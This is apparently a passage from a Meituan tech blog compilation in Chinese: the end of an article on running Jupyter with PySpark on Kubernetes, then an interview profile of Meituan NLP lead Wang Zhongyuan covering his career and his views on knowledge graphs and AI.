	● Commuter：浏览Notebook 的工具，开源项目。

	● K8s：容器编排系统，开源项目。

	● Cantor：美团调度系统，同类开源项目有AirFlow。
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	● 托管平台：美团离线任务托管平台，给定代码仓库和任务参数，为我们执行

Spark-Submit 的平台。

	● 学城：美团文档系统。

	● MSS：美团对象存储。

	● NB-Runner：Notebook	Runner，在 nbconvert 的基础上增加了参数化和

Spark 支持。

在定制 Jupyter 中，最为关键的两个是接入Spark 以及接入调度系统，下文中

将详细介绍这两部分的原理。

JupyterHub	on	K8s 包括几个重要组成部分：Proxy、Hub、Kubernetes、用

户容器（Jupyter	Server	Pod）、单点登录系统（SSO）。一个用户在登录后新建容器

实例的过程中，这几个模块的交互如下图所示：
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可以看到，新建容器实例后，用户的交互都是经过Proxy 后与 Jupyter	Server	

Pod 进行通信。因此，扩展功能的工作主要是定制 Jupyter	Server	Pod 对应的容器

镜像。

让 Jupyter 支持 Spark

Jupyter 平台化后，我们得到一个接近Kaggle	Kernel 的环境，但是还不能够使

用大数据集群。接下来，就是让 Jupyter 支持 Spark，Jupyter 支持 Spark 的方案

有 Toree，出于灵活性考虑，我们没有使用。我们希望让普通的Python	Kernel 能

支持 PySpark。

为了能让 Jupyter 支持 Spark，我们需要了解两方面原理：Jupyter 代码执行原

理和PySpark 原理。

#3##	Jupyter 代码执行原理

所用到的 Jupyter 分三部分：前端 JupyterLab、服务端 Jupyter	Server、语言

Kernel	IPython。这三个模块的通信如下图所示：

Jupyter 执行代码时序图

https://toree.apache.org/
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这里，需要在 IPython 的 exec 阶段支持PySpark。

##3#	PySpark 原理

启动PySpark 有两种方式：

	● 方案一：PySpark 命令启动，内部执行了 spark-submit 命令。

	● 方案二：任意Python	shell（Python、IPython）中执行Spark 会话创建语句。

这两种启动方式有什么区别呢？

看一下PySpark 架构图：

PySpark 架构图，来自SlideShare

与 Spark 的区别是，多了一个 Python 进程，通过 Py4J 与 Driver	JVM 进行

通信。

https://www.slideshare.net/blueplastic/spark-cassandra-at-datastax-meetup-on-jan-29-2015
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PySpark 方案启动流程

PySpark 启动时序图

IPython 方案启动流程

实际的 IPython 中启动 Spark 时序图

Toree 采用的是类似方案一的方式，脚本中调用 spark-submit 执行特殊版本的

Shell，内置了Spark 会话。我们不希望这么做，是因为如果这样做的话就会：
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	● 多了一个PySpark 专供的Kernel，我们希望Kernel 应该是统一的 IPython。

	● PySpark 启动参数是固定的，配置在 kernel.json 里。希望 PySpark 任务是

可以按需启动，可以灵活配置所需的参数，如Queue、Memory、Cores。

因此我们采用方案二，只需要一些环境配置，就能顺利启动PySpark。另外为

了简化Spark 启动工作，我们还开发了 IPython 的Magics，%spark 和%sql。

环境配置

为了让 IPython 中能够顺利启动起Spark 会话，需要正确配置如下环境变量：

	● JAVA_HOME：Java 安装路径，如 /usr/local/jdk1.8.0_201。

	● HADOOP_HOME：Hadoop 安装路径，如 /opt/hadoop。

	● SPARK_HOME：Spark 安装路径，如 /opt/spark-2.2。

	● PYTHONPATH： 额 外 的 Python 库 路 径， 如 $SPARK_HOME/py-

thon:$SPARK_HOME/python/lib/py4j-0.10.4-src.zip。

	● PYSPARK_PYTHON： 集 群 中 使 用 的 Python 路 径， 如 ./ARCHIVE/

notebook/bin/python。集群中使用Python 通常需要虚拟环境，通过 spark.

yarn.dist.archives 带上去。

	● PYSPARK_DRIVER_PYTHON：Spark	Driver 所用的 Python 路径，如

果你用 Conda 管理 Python 环境，那这个变量应为类似 /opt/conda/envs/

notebook/bin/python 的路径。

为了方便，建议设置各 bin 路径到 PATH 环境变量中：$SPARK_HOME/

sbin:$SPARK_HOME/bin:$HADOOP_HOME/sbin:$HADOOP_HOME/

bin:$JAVA_HOME/bin:$PATH。

完成这些之后，可以在 IPython 中执行创建Spark 会话代码验证：

import pyspark
spark = pyspark.sql.SparkSession.builder.appName("MyApp").getOrCreate()
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在 Spark 任务中执行 Notebook

执行 Notebook 的方案目前有 nbconvert，Python	API 方式执行样例如下所

示，暂时称这段代码为NB-Runner.py：

# Import：首先我们 import nbconvert和 ExecutePreprocessor类：
import nbformat
from nbconvert.preprocessors import ExecutePreprocessor

# 加载：假设 notebook_filename是 notebook的路径，我们可以这样加载：
with open(notebook_filename) as f:
    nb = nbformat.read(f, as_version=4)

# 配置：接下来，我们配置 notebook执行模式：
ep = ExecutePreprocessor(timeout=600, kernel_name='python')

# 执行 (preprocess)：真正执行 notebook的地方是调用函数 preprocess：
ep.preprocess(nb, {'metadata': {'path': 'notebooks/'}})

#保存：最后，我们保存 notebook执行结果：
with open('executed_notebook.ipynb', 'w', encoding='utf-8') as f:
    nbformat.write(nb, f)

现在有两个问题需要确认：

	● 当 Notebook 中存在 Spark 相关代码时，Python	NB-Runner.py 能否正常

执行？

	● 当 Notebook 中存在 Spark 相关代码时，Spark-Submit	NB-Runner.py 能

否正常执行？

之所以会出现问题 2，是因为我们的调度系统只能调度Spark 任务，所以必须使

用Spark-Submit 的方式来启动NB-Runner.py。

为了回答这两个问题，需要了解 nbconvert 是如何执行Notebook 的。
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nbconvert 执行时序图

问题 1从原理上看，是可以正常执行的。实际测试也是如此。对于问题 2，答案

似乎并不明显。结合“PySpark 启动时序图”、“实际的 IPython 中启动 Spark 时序

图”与“nbconvert 执行时序图”：
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Spark-Submit	NB-Runner.py 的方式存在问题的点可能在于，IPython 中

执行 Spark.builder.getOrCreate 时，Driver	JVM 已经启动并且 Py4J	Gateway	

Server 已经实例化完成。如何让Spark.builder.getOrCreate 执行时跳过上图“实

际的 IPython 中启动 Spark 时序图”的 Popen(spark-submit) 以及后续的启动

Py4J	Gateway	Server 部分，直接与Py4J	Gateway	Server 建立连接？

在PySpark 代码中，看到如下这段代码：

def launch_gateway(conf=None):
    """
    launch jvm gateway
    :param conf: spark configuration passed to spark-submit
    :return:
    """
    if "PYSPARK_GATEWAY_PORT" in os.environ:
        gateway_port = int(os.environ["PYSPARK_GATEWAY_PORT"])
    else:
        SPARK_HOME = _find_spark_home()
        # Launch the Py4j gateway using Spark's run command so that we 
pick up the
        # proper classpath and settings from spark-env.sh
        on_windows = platform.system() == "Windows"
        script = "./bin/spark-submit.cmd" if on_windows else "./bin/
spark-submit"
...

如果我们能在 IPython 进程中设置环境变量 PYSPARK_GATEWAY_PORT

为真实的 Py4J	Gateway	Server 监听的端口，就会跳过 Spark-Submit 以及启动
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Py4J	Gateway	Server 部分。那么PYSPARK_GATEWAY_PORT从哪来呢？我

们发现在Python 进程中存在这个环境变量，只需要通过ExecutorPreprocessor 将

它传递给 IPython 进程即可。

使用案例

数据分析与可视化

数据探查和数据分析在这里都是同样的流程。用户要分析的数据通常存储在

MySQL和 Hive 中。为了方便用户在Notebook 中交互式的执行SQL，我们开发了

IPython	Magics	%%sql 用来执行SQL。

SQL	Magics 的用法如下：

%%sql <var> [--preview] [--cache] [--quiet]
SELECT field1, field2
  FROM table1
 WHERE field3 == field4

SQL 查询的结果暂存在指定的变量名中，对于 MySQL 数据源的类型是

Pandas	DataFrame，对于Hive 数据源的类型是Spark	DataFrame。可用于需要

对结果集进行操作的场合，如多维分析、数据可视化。目前，我们支持几乎所有的

Python 数据可视化库。

下图是一个数据分析和可视化的例子：
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数据分析与可视化

Notebook 分享

Notebook 不仅支持交互式的执行代码，对于文档编辑也有不错的支持。数据分

析过程中的数据、表格、图表加上文字描述就是一个很好的报告。Jupyter 服务还支

持用户一键将Notebook 分享到美团内部的学城中。

一键分享：

一键分享
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上述数据分析分享到内部学城的效果如下图所示：

Notebook 分享效果

模型训练

基于大数据的模型训练通常使用 PySpark 来完成。除了 Spark 内置的 Spark	

ML 可以使用以外，Jupyter 服务上还支持使用第三方 X-on-Spark 的算法，如

XGBoost-on-Spark、LightGBM-on-Spark。 我 们 开 发 了 IPython	Magics	

%%spark 来简化这个过程。

Spark	Magics 的用法如下：

%%spark
[--conf <property-name>=<property-value>]
[--conf <property-name>=<property-value>]
...

执行%%spark 后，会启动 Spark 会话，启动后Notebook 会话中会新建两个

变量 spark 和 sc，分别对应当前Spark 会话的SparkSession 和 SparkContext。
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下图是一个使用 LightGBM-on-Yarn 训练模型的例子，基于 Azure/mml-

spark 官方 Notebook 例子，仅需添加启动Spark 语句以及修改数据集路径。

LightGBM on Spark Demo

排序策略调试

通过开发 ipywidgets 实现了一个线上排序策略的调试工具，可以用于查看排序

结果以及排序原因（通过查看变量值）。
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总结与展望

通过平台化 Jupyter 的定制与部署，我们实现了数据分析、数据生产、模型训练

的统一开发环境。在此基础上，还集成了内部公共服务和业务服务，从而实现了从数

据分析到策略上线到结果分析的全链路支持。

我们对这个项目未来的定位是数据科学的云端集成开发环境，而 Jupyter 项目所

具有的极强扩展性，也能够支持我们朝着这个方向不断进行演进。

作者
文龙，美团民宿研发团队工程师。

颖艺，美团民宿研发团队工程师。

招聘
美团民宿研发团队诚招数据系统研发工程师，Base 厦门，欢迎有兴趣的同学投递简历到	

tech@meituan.com	。
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MIT 科技创新“远见者”：美团 NLP 负责人王仲远

王鹏

2019	年	1	月	21	日，《麻省理工科技评论》发布了	2018	年“35	岁以下科技创

新	35	人”（35	Innovators	Under	35）中国榜单，美团点评AI 平台部	NLP	中心负

责人、点评搜索智能中心负责人王仲远获评为“远见者”。

Innovators	Under	35	是《麻省理工科技评论》杂志从	1999	年开始的年度

评选，针对新兴科技产业的青年从业者，肯定他们的创新工作。历史上的获奖者包

括	Google	创始人	Larry	Page	和	Sergey	Brin，Linux	创始人	Linus	Torvalds，

Facebook	创始人马克·扎克伯格（Mark	Zuckberg），网景浏览器创始人	Marc	
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Andreessen，Apple	设计负责人	Jonathan	Ive	等杰出人士。

趁此机会，美团技术学院采访了王仲远博士，本文内容根据采访内容整理而成。

大学

王仲远没有想到，他高考时填报的第一志愿是中国人民大学国际经济与贸易专

业，最后却被调剂到了中国人民大学的计算机系。更没想到的是，他从此爱上了这个

专业，并且在计算机这个行业越走越深。

幸运的是，王仲远就读的人民大学虽然以文科著称，却是中国数据库的学术重

镇，萨师煊、王珊、杜小勇和孟小峰等几代人都是数据库领域的知名学者。

刚开始的时候，王仲远也很困惑学校为什么总是教数据结构、操作系统、编译原

理、计算机组成这种基础性的知识，好像都不是找工作所需要的技能。孟小峰教授却

告诉他，在学校里把基本功打扎实最重要，如果有了扎实的基本功，社会上培训班教

的那些“短平快”的技术，其实是很容易学习的。

大二结束的暑假，王仲远找到孟小峰教授主动请缨，开始进入孟老师的	

WAMDM	（网络与移动数据管理）实验室学习，做了很多数据相关的项目，包括国内

首款	Native	XML	数据库	OrientX	的系统测试，以及	Deep	Web	数据集成项目的研

究。他发现孟老师的教导完全正确，有了基础课的底子，对很多工作都有着完全不一

样的理解，做实际项目时上手很快。

本科期间，王仲远与人合作的论文《Deep	Web	数据集成中的实体识别方法》

被中国数据库学术会议	NDBC	2006	录用，并发表在《计算机研究与发展（增刊）》

上。这小小的一个进展，却意外开启了王仲远的研究之路。2007	年他获得了国际顶

级学术会议	SIGMOD	2007	Undergraduate	Scholarship	奖（当年全球只有	7	人获

奖）。这更坚定了他踏上学术研究道路的决心。

微软亚洲研究院

硕士毕业时，王仲远很冒险地拒绝了百度、腾讯和	IBM	等众多知名公司研究机

构的邀请，选择坚持等待微软亚洲研究院的 offer。

“其实当时我也很迷茫，在宿舍里望着窗外的枝头，希望能看到喜鹊经过。”	而王
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仲远不知道的是，他在当时微软亚洲研究院所有候选人中面试结果排名第一。他未来

的老板王海勋和田江森主动找到研究院院长说，“这个小孩真不错，如果我们再不发	

offer，就对不起人家了。”当年	12	月份的寒冬，王仲远终于成为研究院那批候选人

中第一个拿到	offer	的人。

王仲远说自己很幸运，微软亚洲研究院具备很多先天优势，在刚刚工作时就可

以接触到很多世界级的学者，了解各领域前沿研究已经做到什么程度，无需摸着石

头过河。

2010	年	10	月，微软创始人、当时的全球首富比尔·盖茨来研究院访问，正式

入职两个多月的王仲远获得做现场演示的机会。“可以想象，我当时是多么的激动。”

王仲远所在的团队那时已经开始做一些知识图谱领域的探索和研究，虽然业界还没有

这个概念。演示很成功，盖茨的反馈非常正面，给王仲远很大的激励，更坚定了他在

知识图谱探索的道路上苦心孤诣地前行。这张与比尔·盖茨合影的照片，至今他还保

留着。

与盖茨的合影，后排右五是王仲远。照片中的很多人如今都已成为	AI	领域的杰

出人物，你能认出多少位？



人物志　<　453

王仲远在微软亚洲研究院 6年多，从校招生一直做到主管研究员，负责了微软

研究院知识图谱项目和对话机器人项目。他一直专注于自然语言处理、知识图谱及其

在文本理解方面的研究，取得了不少成绩，在国际顶级学术会议如	VLDB、ICDE、

IJCAI、CIKM	等发表论文	30	余篇，并获得	ICDE	2015	最佳论文奖。

谈到做研究的经验，王仲远总结说，很多时候我们觉得某件事情比较高深，只

不过是不了解而已。做学术研究跟创业一样，只有自己真正扎进去才会发现其中的

奥秘。

同时，做研究需要长期有耐心，这刚好和现在美团所倡导的价值观相符。因为在

这个过程中，你会受到非常多的质疑，也会面临多方面的挑战，包括来自你的同事、

你的老板、还有学术界中其他流派的挑战。同时，还有短期的压力和长期的压力，也

有项目无法落地的压力。但只要对这件事本身真的感兴趣，不管是做技术还是做研

究，都可以做的很好。

在王仲远看来，做研究需要有一颗强大的内心，按现在美团的话说，是炼心志。

一方面他经常虚心地向前辈们请教，另一方面就是当别人质疑的时候，坚持自己的理

想和信念。在他看来，做研究，过程往往比结果更重要，做正确的事情，好结果自然

会来。

“我从来没有给自己定一个目标，比如说要发几十篇顶级会议的学术论文。而是

告诉自己，要踏踏实实地把这个研究项目做好，实实在在解决这个技术所面临的一些

挑战性问题，当这些突破和研究的成果不断出现的时候，发表论文就是一个自然而然

的事情。”

现在，王仲远也经常跟美团	NLP	中心的同学讲，做事情要首先关注问题本身，

要进行深度的思考，注重解决问题的逻辑和体系，而不是一上来就简单粗暴地冲着结

果去。因为往往是人们越想得到结果，就越得不到结果。反而是专注解决问题本身，

好结果就自然获得了。

Facebook

2016	年，王仲远在考虑自己下一步职业规划的时候，更多的是思考如何将自己
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的一身所学付诸实践，而不仅仅只停留在研究层面。“如何将技术转化为更为实际的

生产力，更加直接地影响几十亿人的生活”，这是他再次出发的初心。

这一次，王仲远依然拿到了很多顶级机构发出的	offer。他最终选择了	Face-

book。因为相比于微软，Facebook	是一家纯粹的互联网企业，能够更加直接地面向

消费者和用户。而且，在王仲远的眼中，扎克伯格是一个优秀的创始人。“我选择公

司非常看重创始人的素质，他是不是一个有理想、有抱负、有信念的人。因为只有这

样的创始人才能有战略性的思考，才能不被短期资本市场所影响，才能顶住财报的压

力、舆论的压力，才能帮助企业走的更远。”

在	Facebook，王仲远主要负责公司的产品级	NLP	Service，要在用户每天发

布的几十亿条帖子（Post）中，完成语义分析、查询以及搜索等相关的工作，从非常

庞大且复杂的信息流中，找到一个用户想要看到的结果。比如在	Facebook	用户搜

索	Trump	时，系统就知道用户想要找美国总统特朗普相关的信息。不过，在特朗普

没有当上美国总统时，更多返回的结果其实是纽约的地标建筑特朗普大厦。

王仲远说：“这是非常有意思的一件事，用户的各种查询意图，其实会随着时间

而变化，我们做的事情就是在有限的关键词中解读出非常丰富的信号，然后用于各种

搜索的召回、排序以及展示。今天，美团大脑以及点评搜索的深度查询理解服务也在

做类似的事情，只不过我们处理的信息变成了几十亿条餐饮娱乐的评论以及数百万的

活跃商户信息。”

在	Facebook	工作期间，他所负责的一个项目是做实体链接，就是要把查询

（Query）和知识图谱进行打通，这也是	NLP	领域一个非常重要的方向。短短半年的

时间，效果就提升了	80%	左右，成为	Facebook	内部最重要同时也是世界上最先进

的产品级实体链接服务。Facebook	的搜索、推荐、广告、智能助理等许多系统中，

都在使用他负责的这些技术。

美团

“我们中国的移动互联网现在真的是非常发达，一天到晚不带钱包、信用卡，生

活毫无问题，方便快捷。相比之下，美国就是一个发达的大农村。在国内叫个美团外
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卖，半小时就能送到家门口，在美国这简直是无法想象的。”	2018	年，因为家庭方面

的考虑，王仲远选择回国发展。

他收到了多家知名公司的橄榄枝，百度、腾讯和阿里巴巴都给出非常丰厚的待

遇。但是他的考虑是，此前已经在微软亚洲研究院、Facebook	工作过，再去选择一

家非常成熟的大公司，并不会发生太大的改变。他想接受新的挑战，承担更重要的角

色，更希望选择一家能够发挥出自己更大优势的公司。

滴滴、快手、今日头条等很多互联网新贵，当时也给王仲远发出了邀请，但他最

终选择了美团。

为什么？王仲远说，他最看好美团，相信美团是一家能够持续几十年乃至更久生

命力的公司。

阿里巴巴从解决“衣食住行”中的“衣”开始起家，电子商务也成就了阿里巴

巴。那么在“食、住、行”等这些生活服务领域呢？王仲远相信，一样会成就新的互

联网巨头。而且民以食为天，美团外卖已经占据绝对领先的市场份额，美团酒店单日

入住间夜不断在刷新行业的新纪录，美团出行也完成了战略布局。

美团最新的战略是“Food	+	Platform”，王仲远对此非常认可。他相信，十年

后，一定会有新的纯线上App 出现，大家那时很可能早就不玩“抖音”了。还会有

更多新鲜好玩的游戏，也不会再玩“王者荣耀”了。这种纯线上的信息和娱乐服务，

变化是非常快的，所谓“江山代有才人出”。

“但是无论怎么变，大家总是还要吃饭的。”即使将来有一天，技术真的可以让我

们吃饭的方式完全不一样，但是人类也绝对不会放弃对美食的追求，因为这本身也是

一种乐趣。这也意味着，美团很有可能成长为一家长期有耐心、不断积累、不断发展

的公司，“Food	+	Platform”也会是一项非常长期的事业。

王仲远的另外一个思考就是，AI	技术想真正能够落地，需要算力，需要数据，

需要算法模型，更需要丰富的应用场景。美团的应用场景丰富程度，显然远超滴滴、

快手、今日头条等互联网同行。“在这样的情况下，美团对我来说，可能就是不二的

选择了。”

还有一个重要因素是，王仲远非常认可美团创始人王兴，“我还是很崇拜兴哥的，
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他是非常有理想、有信念、有战略思考的一个人。”

王仲远坦言，最终选择加入美团，也是非常认同美团倡导的“以客户为中心”、

“追求卓越”、“长期有耐心”这些价值观，他相信可以在美团中发挥自己的才华，而

美团也提供了一个广阔的舞台，可以让他尽情地施展。

从 0 到 1 组建新团队，最看重成员的价值观

刚到美团，王仲远受命组建美团	AI	平台部的	NLP	中心。他对团队成员的要求是：

知行合一，希望大家都是带着自己梦想加入这个团队，踏踏实实地把事情做出来。

王仲远说：“从	0	到	1	组建一个新的团队，挑战还是非常大的。我们的标准非常

高，即使招聘速度再慢，都要保证团队成员的质量。”

因为招聘要求很高，所以王仲远需要花很多时间去吸引那些认可美团价值观的候

选人。他是怀抱将AI技术在各种场景中落地的梦想加入美团，他相信肯定有很多跟自

己一样有梦想、有信念的候选人。他也希望找到这样一群志同道合的人，共同前行。

今天，美团	NLP	中心团队已经初步成型，汇集了很多优秀的	AI	专家和工程师。
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从“美团大脑”到搜索系统的智能化升级

很快王仲远又开始负责大众点评搜索智能中心。王仲远说：“我非常感谢公司管

理层对我的信任，能让我同时负责两个团队，一个	AI	平台团队，一个业务平台团队。

这使得我能够更好地规划和掌控AI 技术的落地，让	AI	技术更好更快地发挥价值，帮

助业务平台进行智能化升级。”

2018	年	5	月，他开始领导团队构建美团大规模餐饮娱乐知识图谱的平台——美

团大脑。这个“大脑”充分挖掘、关联各个场景数据，使用	AI	算法让机器“阅读”

用户针对商户的公开评论，理解用户在菜品、价格、服务、环境等方面的喜好，构建

人、店、商品、场景之间的知识关联，从而形成一个“知识大脑”。

在王仲远眼中，美团大脑更像一个AI 的基础设施，目前这个	AI	平台已经开始逐

步服务于美团的搜索、SaaS	收银、金融、外卖、智能客服等众多应用场景。在这些

场景中，既有	ToC	的业务，也有	ToB	的业务。

同时管理两个团队，经常往返于北京上海之间，对王仲远而言，虽然辛苦，但效

果也很显著。在	NLP	中心以及大众点评搜索智能中心两个团队的紧密合作下，短短

半年时间，点评搜索核心	KPI	在高位基础上仍然大幅提升，是过去一年半涨幅的六倍

之多，提前半年完成全年目标。
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王仲远眼中的微软、Facebook 和美团

一个在学术圈深耕了六、七年的研究型人才，进入企业做项目落地。拥有两家全

球顶尖科技企业的从业背景，但回国后却放弃优厚的待遇，选择一家互联网公司再次

出发。王仲远的每一次选择，都显得有些与众不同。但是在他身上，我们没有看到任

何”莽撞“的成分。每一次选择，他都经过深思熟虑，而且是慎之又慎。

在王仲远的眼中，微软亚洲研究院是中国互联网行业学术研究方向的领头羊，对

他的培养和成长，都有很大的帮助。时至今日，微软亚洲研究院对他的影响，仍是不

可磨灭的。不过，微软也面临着时代的挑战，虽然这么多年一直在尝试突破，但是它

仍然更像一家传统的软件公司。

而	Facebook，是一家非常顶尖的互联网公司，它也是很多国内的互联网公司学

习的榜样。Facebook	有一个口号是“快速行动，打破传统（Move	Fast	and	Break	

Things)”，可以看出，他们对“快”的追求。Facebook	还有很多像“Go	Big	or	

Go	Home”这一类的内部口号，这跟美团的技术团队“要么牛	X，要么滚蛋”的说

法异曲同工。王仲远认为，Facebook	的进化速度要比微软快很多。

而美团是一家比	Facebook	节奏更快的互联网公司，当然这代表了中国速度，

也代表了中国互联网的发展速度。王仲远说：“很多的事情，可能在微软亚洲研究院我

们需要要用一年的时间来做，在	Facebook	可能会用半年。但是在美团，我们可能

只有两个月到三个月的时间。”

美团的高速成长，给王仲远的团队带来很大的挑战。他们每天都要面临各种的持

续迭代，要做很多快速的技术演化和突破。美团技术团队是在为生活服务各行业构建

信息基础设施，实现需求侧和供给侧的数字化，任重而道远。

未来的路还很长，王仲远和他的	AI	团队，还在路上。

对话王仲远：关于职业发展、知识图谱以及 AI 的未来

秉持信念，不忘初心，不断拥抱变化，才能真正把工作做好

Q：你觉得偏研究型的人才，怎么在企业中发挥出自己的价值？

王仲远：任何科技的发展，都需要研究型人才的推动。但是研究型的人才分几
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种，有的是做纯理论研究的人才，可能高校是他们最好的选择。这些人愿意几十年如

一日的深耕一个领域。比如深度学习先驱	Geoffrey	Hinton	教授，长期从事神经网络

领域的研究，不管是神经网络发展的高潮还是低谷，他都能坚持做下去。

还有一些人才，他们更希望把自己学到的各种研究模型、研究成果，能够实实在

在地应用在真正的科技产品里面，然后去影响几亿人甚至几十亿人的生活。那么这一

类研究型人才，他们更看重应用型的研究，公司可能会更需要他们。

我们整个	NLP	中心也在做一个平衡，80%	的同学会偏应用型研究，也会有	

20%	同学会做偏理论的研究，也会鼓励同学们根据兴趣做一些前沿的技术研究。我

们希望能够保持较强的科技创新能力，并具备长期的核心竞争力。

Q：外企和海归背景的人，怎么在本土企业中证明自己的价值？

王仲远：不建议给自己贴“标签”。文化上肯定会有一些冲突和差异。但是能不

能适应，其实很大程度上取决于个人，取决于这些人能不能拥抱变化。我必须承认，

国内互联网的变化或者演化速度，远远超出原来我待过的两家外企，我也必须要适应

和拥抱这种变化。

如果我们能够秉持自己的信念，不忘自己的初心，同时能不断地提炼自己，升级

自己，愿意拥抱这些变化，我相信在新团队也可以做的更好。而且我也观察过，真正

的最顶尖的人、最聪明的那些人，他们不管做什么行业，不管做什么事情，不管身处

什么样的环境，都能够把事情做的非常好，都能够取得非常好的成就。

在我看来，“人”本身的因素要比“外企背景”这种因素重要很多。我深信真正

聪明的人的适应力也都是非常强的。而且加入美团后，我们发现很多很厉害的人，即

使把他们放在一个完全不懂，或者不熟悉的项目中，他们一样可以做的很优秀。比如

美团内部某个业务部门的负责人，曾经做了	15	年的互联网音乐。我相信拥抱变化的

人，都不会做的很差。

至于如何证明自己？其实刚刚我也提到过，不要刻意。越刻意地想去证明自己，

往往越证明不了自己。越想刻意拿到结果，往往越拿不到结果。我会给身边的同学提

这样的建议。关注事情本身，关注怎么解决用户的痛点，关注怎么解决技术的难点，

关注怎么解决业务的需求。如果把这些事情做好了，既能拿到结果，最终也能证明自
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己的价值。

知识图谱技术的春天来临，是因为大数据在推动

Q：像知识图谱相关的技术已经存在了很多年，为什么迟迟没有进入大众的视

野呢？

王仲远：技术的发展，永远都是起起伏伏，处于一个螺旋上升的阶段。

知识图谱并不是新技术。早在上个世纪	80	年代，就有很多知识库系统的研究

了。包括	1984	年开始的	Cyc	就是一个知识图谱项目。其实比	Cyc	更早之前，还有

很多医疗诊断的专家系统。

但是受限于当时的计算能力、人们的认知、数据量，很多都是通过人工编写规则，

或者去找专家建设行业知识库，这种方式不仅效率低下，而且人的思考也具备局限

性。通过领域专家去构建的知识库，通常就是几十万的量级，显然不能够满足需求。

2000	年以后，随着互联网的高速发展，数据也越发的丰富，促进了知识图谱技

术的蓬勃发展。我们这些做知识库的研究者开始有了新的思路，不再以专家系统为驱

动，而是变成依靠数据来驱动产生知识。从观念层面发生的根本性改变后，知识图

谱马上展示出自身巨大的价值。特别是	2012	年，谷歌发布了	Google	Knowledge	

Graph，人们又重新认识了知识图谱技术。

此外，知识图谱之所以影响力有限，还有一个很重要的原因就是，拥有这种规

模数据的只有少数几家大公司。它们暂时也没有办法去开放，因为涉及到用户隐私问

题、数据安全问题，同时还涉及到核心竞争力。但我相信，所有从事AI 行业相关的

人都清楚地知道知识图谱的价值和意义。其实在这些互联网巨头内部，不管是微软、

Facebook，包括谷歌和百度，它们对知识图谱技术都非常重视。

Q：你觉得像知识图谱这些技术的落地，目前面临的最大挑战是什么？

王仲远：可能很多人不太清楚，十年前或则更久之前，在学术研究界就已经存在

非常多的且成熟的知识图谱相关的技术，包括知识的提取、知识的发现、实体识别、

实体链接等等。

但是，学校实验室或者研究所缺少海量的研究数据，科研人员基于的数据量基本

处在几十万或者百万的量级，当这些技术遇到亿级甚至百亿量级的数据时，很多技术
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走不通。

我们目前面临的最大挑战就是，即使是一个非常简单的，或者已经被学术界认定

非常成熟的技术，在去解决百亿、千亿量级知识图谱应用问题时，基本都会失效。因

此，应该如何重新设计算法，应该如何重新设计新的工程架构，是我们需要解决的核

心问题。此外，深度学习跟知识图谱进行结合，也是一个非常重要的研究方向。

Q：你觉得对企业而言，如何才能做好 NLP ？

王仲远：NLP	是人工智能所有方向中一个还需要突破的领域。像语音识别和图

像识别，通过深度学习已经可以得到非常好的结果。但人类和动物一个非常重要的区

别就是，人类拥有非常完备的理解、推理、思考能力，这些能力是	NLP	需要解决的，

但是挑战性也很高。

目前在	NLP	领域，我们已经做了很多的突破，也有一些很好的落地场景，比如

智能客服，语音助手，还有搜索、推荐、广告这些应用场景。但是在特定的领域，比

如餐饮、酒店预订、出行等领域，还有很大的提升空间。

在我看来，企业想要做好	NLP，首先需要打通基础数据。像美团大脑目前包含

了	23	类概念、18	亿实体、600	亿三元组，这个知识关联数量级已经达到了世界级

的规模。只有数据被打通，才能发挥出更大的价值。其次，需要构建扎实的技术底

层，打造一个平台，使得不同的业务线都能更方便、快捷地去使用	NLP	的这些技术，

当新技术出现时，也可以快速进行升级和迭代。
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总的来说，一个是打通数据，一个构建技术底层。当然还有人才，人才也是实现

以上两者的根本因素。当然，既能够安心做研究，又能够落地的核心人才也是最稀缺

的，我们美团	NLP	中心对于优秀人才的渴求，也是永无止境的，我们随时都欢迎有

理想、有信念的同学加入，一起创造未来。

相信 AI 的未来：道路是曲折的，前景是光明的

Q：怎么看待 AI 未来的发展？

王仲远：我应该属于理性的乐观派。在我看来，不管是深度学习还是知识图谱，

技术发展历程永远会有高潮，也会有低谷。这两年因为资本的涌入，因为媒体的宣

传，有时甚至过度炒作，使得	AI	进入了大众的视野。

这会带来一个好处，就是人们对	AI	有了更加广泛的关注。但是也带来很多的风

险，比如很多不是特别成熟的	AI	技术也被“催熟”了，如果这些	AI	产品不能够很好

地解决人们实际需求的时候，就会被大家所质疑，比如像前几年很火爆的	VR、AR	

等等。还有无人驾驶技术，距离真正落地，还存在很多亟待解决的问题。

我预计未来一两年，随着资本的收缩，AI	可能会陷入冷静期甚至是低谷期。但

这个时间应该不会持续太久，因为核心技术一直都在研究和突破。随着	5G	时代的到

来，随着	AR、VR	技术更加成熟，随着NLP技术更加成熟，随着无人驾驶技术更加

成熟，未来	AI	也会带来产业新的热潮。

20年	ToC，20	年	ToB。在互联网高速发展的前	20	年，我们主要解决了消费

者的需求。但在很多传统产业，供给侧的数字化，AI	对它们的影响还很有限，这也是

我们未来的机会。

Q：对从事 AI 相关工作的同学，有什么建议吗？

王仲远：我觉得大家还是要多关注核心技术，以及核心技术跟业务场景的结合。

一个属于“基本功”，另一个是思考技术对业务的价值。

因为技术永远是日新月异，也会不断地更新迭代。特别是做算法研究的同学，相

对比较辛苦，要持续的进行学习和提升，如果有一段时间不学习，很可能会被淘汰。

在我们的面试过程中也能够感觉出来。如果面试算法工程师的同学，还是用传统

模型而不是深度学习的话，就会面临很大的挑战。此外，如果只关注模型本身，而不
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去思考如何跟业务进行结合，在工作中也很难证明自己。

如果是在校的大学生，建议大家不要上来就学习	Java、Python	这些编程语言。

应该先对计算机的各种原理、基础知识（概率论、数学分析）等掌握清楚，再去学习

很多技术时，就会有完全不一样的理解。我们未来的一切，都应该建立在一个扎实的

基本功之上。

影响王仲远的书、人、事

Q：你觉得对你影响最大的一件事是什么？

王仲远：很难说具体的哪件事影响最大。刚刚也提到了，这么多年的职业生涯，

我做了很多次、可能看起来比较重大的选择，但是我很难讲，哪一件事会彻底的改变

自己的职业生涯。

相对来说，影响比较大的事情有很多，像大学时获得“SIGMOD	2007	

Undergraduate	Award”奖项，让我坚定地选择了研究这条路。后来在这条道路

上，也受到很多老板对我的鼓励。还有刚工作两个月，就得到跟比尔盖茨做汇报的

机会，得到他的正向反馈。还有在顶级学术会议发表论文，以及现在做的美团大脑

项目，包括刚刚获得的《麻省理工科技评论》这个荣誉等等，我想这些事对都产生

了非常大的影响。

但对于具体的一件事而言，我觉得，更多的是在每一次做人生选择时所做的坚

持，以及坚持之后通过努力所带来的一些认可。这也是鼓励我在各种质疑中、在各种

压力中，持续前进的一个非常重要的动力，使我能够长期地坚持下去。

Q：你觉得，这么多年对你影响最大的一个人是谁？

王仲远：对我影响很大的人其实很多。比如我的第一个导师孟小峰教授，他带领

